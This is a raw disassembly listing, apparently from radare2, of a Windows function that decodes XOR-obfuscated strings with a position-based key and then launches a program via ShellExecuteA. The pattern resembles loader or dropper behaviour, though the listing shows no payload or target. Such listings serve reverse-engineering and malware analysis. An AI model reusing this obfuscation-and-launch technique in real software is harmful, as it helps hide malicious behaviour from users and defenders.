mov word [ebp - 0xec], ax
mov dword [ebp - 4], edx
lea esi, [edx + 4]
movups xmmword [ebp - 0x130], xmm0
movups xmm0, xmmword [0x43d7f8]
movups xmmword [ebp - 0x120], xmm0
movups xmm0, xmmword [0x43d808]
movups xmmword [ebp - 0x110], xmm0
movups xmm0, xmmword [0x43d818]
movups xmmword [ebp - 0x100], xmm0
cmp edi, 2
jl 0x407940
movaps xmm0, xmmword [str.5555555555555555]
mov eax, 0x1f
movaps xmm4, xmmword [0x43d580]
movaps xmm3, xmmword [0x43d990]
movaps xmm6, xmmword [str.4444]
movaps xmmword [ebp - 0xa0], xmm0
mov ecx, dword [ebp - 0xa0]
movd xmm5, esi
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x130]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x130], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x12c]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x12c], xmm1
add edx, 8
cmp edx, 0x40
jl 0x407832
mov dword [ebp - 4], edx
cmp edx, 0x46
jge 0x407971
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x130], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x46
jl 0x407940
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407990
sub ecx, edx
lea eax, [ebp - 0x130]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00401820
lea eax, [ebp - 0xd4]
mov dword [ebp - 8], SysStringLen
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00409460
mov edx, dword [ebp - 0x2c]
add esp, 0x10
cmp edx, 0x10
jb 0x4079ff
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4079f5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083a2
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 0x10
jb 0x407a45
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407a3b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083a2
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov ax, word [0x43d884]
xor edx, edx
movq xmm0, qword [0x43d87c]
mov word [ebp - 0xc], ax
mov al, byte [0x43d886]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 0xa], al
mov dword [ebp - 4], edx
nop dword [eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x14], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xb
jl 0x407a70
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x70], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407ab2
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00401820
mov ax, word [0x43d878]
mov word [ebp - 6], ax
test ah, ah
je 0x407b07
xor edx, edx
mov dword [ebp - 4], edx
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 6], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 2
jl 0x407ae0
lea ecx, [ebp - 6]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407b22
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00401820
cmp dword [ebp - 0xc0], 0x10
lea eax, [ebp - 0xd4]
push dword [ebp - 0xc4]
cmovae eax, dword [ebp - 0xd4]
lea ecx, [ebp - 0x58]
push eax
push 0
call fcn.004091b0
lea ecx, [ebp - 0x188]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x170]
movq qword [ebp - 0x160], xmm0
push eax
push dword [ebp - 0xd]
call fcn.00406440
mov ax, word [0x43d874]
xor edx, edx
movq xmm0, qword [0x43d86c]
mov word [ebp - 0xc], ax
mov al, byte [0x43d876]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 0xa], al
mov dword [ebp - 4], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x14], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xb
jl 0x407bc2
lea ecx, [ebp - 0x14]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c10
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.00401820
movups xmm0, xmmword [0x43d838]
mov ax, word [0x43d868]
xor edx, edx
mov word [ebp - 0xf0], ax
mov dword [ebp - 4], edx
movups xmmword [ebp - 0x120], xmm0
movups xmm0, xmmword [0x43d848]
movups xmmword [ebp - 0x110], xmm0
movups xmm0, xmmword [0x43d858]
movups xmmword [ebp - 0x100], xmm0
cmp edi, 2
jl 0x407db0
movaps xmm0, xmmword [str.5555555555555555]
mov eax, 0x1f
movaps xmm4, xmmword [0x43d580]
movaps xmm3, xmmword [0x43d990]
movaps xmm6, xmmword [str.4444]
movaps xmmword [ebp - 0xa0], xmm0
mov ecx, dword [ebp - 0xa0]
movd xmm5, esi
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x120]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x120], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x11c]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x11c], xmm1
add edx, 8
cmp edx, 0x30
jl 0x407ca4
mov dword [ebp - 4], edx
cmp edx, 0x32
jge 0x407de1
nop
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x120], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x32
jl 0x407db0
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x2c], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407e00
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00401820
lea eax, [ebp - 0x188]
mov dword [ebp - 0xbc], SysStringLen
push eax
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xbc]
push eax
call fcn.00409460
mov edx, dword [ebp - 0x2c]
add esp, 0x10
cmp edx, 0x10
jb 0x407e78
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407e6e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083a7
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
cmp edx, 0x10
jb 0x407ec4
mov ecx, dword [ebp - 0xb8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407eba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083a7
push edx
push ecx
call fcn.0041fbcc
add esp, 8
lea ecx, [ebp - 0x188]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], 0
call fcn.00401290
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x407f24
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407f1a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083a7
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x44]
cmp edx, 0x10
jb 0x407f58
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407f4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083a7
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp edx, 0x10
jb 0x407f9e
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407f94
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083a7
push edx
push ecx
call fcn.0041fbcc
add esp, 8
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xa8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407fc5
sub ecx, edx
lea eax, [ebp - 0x2e8]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.00401820
mov ax, word [0x43d894]
xor edx, edx
movq xmm0, qword [0x43d88c]
mov word [ebp - 0xc], ax
mov al, byte [0x43d896]
movq qword [ebp - 0x14], xmm0
mov byte [ebp - 0xa], al
mov dword [ebp - 4], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x14], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xb
jl 0x408005
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x70], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x6c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408047
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00401820
mov ax, word [0x43d888]
mov word [ebp - 6], ax
test ah, ah
je 0x408097
xor edx, edx
mov dword [ebp - 4], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 6], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 2
jl 0x408070
lea ecx, [ebp - 6]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x48], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x44], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4080b2
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00401820
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.004063e0
add esp, 0xc
lea ecx, [ebp - 0x80]
push ecx
push eax
push dword [ebp - 0xd]
lea ecx, [ebp - 0x148]
call fcn.00406440
cmp dword [ebp - 0x134], 0x10
lea eax, [ebp - 0x148]
mov edi, dword [ebp - 0x138]
lea esi, [ebp - 0xb8]
cmovae eax, dword [ebp - 0x148]
cmp dword [ebp - 0xa4], 0x10
mov ecx, dword [ebp - 0xa8]
cmovae esi, dword [ebp - 0xb8]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 4], esi
cmp edi, ecx
ja 0x40819a
test edi, edi
jne 0x408142
xor esi, esi
jmp 0x40819d
movsx edx, byte [eax]
sub ecx, edi
mov dword [ebp - 8], ecx
inc ecx
add ecx, esi
mov dword [ebp - 0x10], edx
sub ecx, esi
push ecx
push edx
push esi
call fcn.00420b00
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40819a
push edi
push dword [ebp - 0xbc]
push esi
call fcn.00409140
add esp, 0xc
test eax, eax
je 0x408261
mov edx, dword [ebp - 8]
inc esi
mov eax, dword [ebp - 4]
inc edx
add eax, edx
sub eax, esi
push eax
push dword [ebp - 0x10]
push esi
call fcn.00420b00
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x408163
or esi, 0xffffffff
lea ecx, [ebp - 0x148]
call fcn.00401290
lea ecx, [ebp - 0x188]
call fcn.00401290
mov edx, dword [ebp - 0x44]
cmp edx, 0x10
jb 0x4081e7
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4081dd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083ac
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp edx, 0x10
jb 0x40822d
mov ecx, dword [ebp - 0x80]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x408223
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083ac
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov eax, dword [ebp - 0xa4]
cmp eax, 0x10
jb 0x408273
mov ecx, dword [ebp - 0xb8]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x408269
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4083ac
jmp 0x408269
sub esi, dword [ebp - 4]
jmp 0x40819d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
cmp esi, 0xffffffff
jne 0x40831c
lea eax, [ebp - 0x93]
push eax
lea ecx, [ebp - 5]
call fcn.004065f0
mov edi, eax
cmp byte [edi + 0xa], 0
je 0x4082c6
xor ecx, ecx
mov dword [ebp - 8], ecx
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
lea esi, [ecx + edi]
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 8]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, 0xb
jl 0x4082a0
push edi
lea ecx, [ebp - 0x80]
call fcn.00404740
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 5]
lea eax, [ebp - 2]
push eax
call fcn.004065d0
mov edi, eax
cmp byte [edi + 1], 0
je 0x4083b1
xor ecx, ecx
mov dword [ebp - 8], ecx
nop
mov eax, 0x4ec4ec4f
lea esi, [ecx + edi]
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x35
xor byte [esi], cl
mov ecx, dword [ebp - 8]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, 2
jge 0x4083b1
jmp 0x4082f0
mov edx, dword [ebp - 0x19c]
cmp edx, 0x10
jb 0x408356
mov ecx, dword [ebp - 0x1b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40834c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408432
push edx
push ecx
call fcn.0041fbcc
add esp, 8
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
call fcn.00401290
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00423faf
push 0xffffffffffffffff
call fcn.0042585e
call fcn.00423faf
call fcn.00423faf
call fcn.00423faf
call fcn.00423faf
call fcn.00423faf
call fcn.00423faf
push edi
lea ecx, [ebp - 0x170]
call fcn.00404740
push eax
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x1e0]
push eax
call fcn.004063e0
add esp, 0xc
push 1
push 0
push 0
push dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x188]
push eax
call fcn.004063c0
add esp, 0xc
mov ecx, eax
call fcn.004062d0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x188]
call fcn.00401290
lea ecx, [ebp - 0x1e0]
call fcn.00401290
lea ecx, [ebp - 0x170]
call fcn.00401290
lea ecx, [ebp - 0x80]
call fcn.00401290
push 0
call fcn.0042585e
call fcn.00423faf
int3